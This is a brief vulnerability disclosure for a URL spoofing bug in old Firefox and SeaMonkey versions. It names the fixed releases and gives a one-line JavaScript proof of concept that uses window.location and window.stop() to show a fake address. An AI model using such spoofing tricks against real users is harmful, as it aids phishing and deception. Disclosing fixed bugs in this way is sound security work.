Mozilla Firefox URL spoofing bug involving error pages, document.location

FAKE PAGE

Fixed in:
Firefox 3.5.6
Firefox 3.0.16
SeaMonkey 2.0.1

PoC:

javascript:window.location = 'https://www.google.com%20';window.stop();void(0);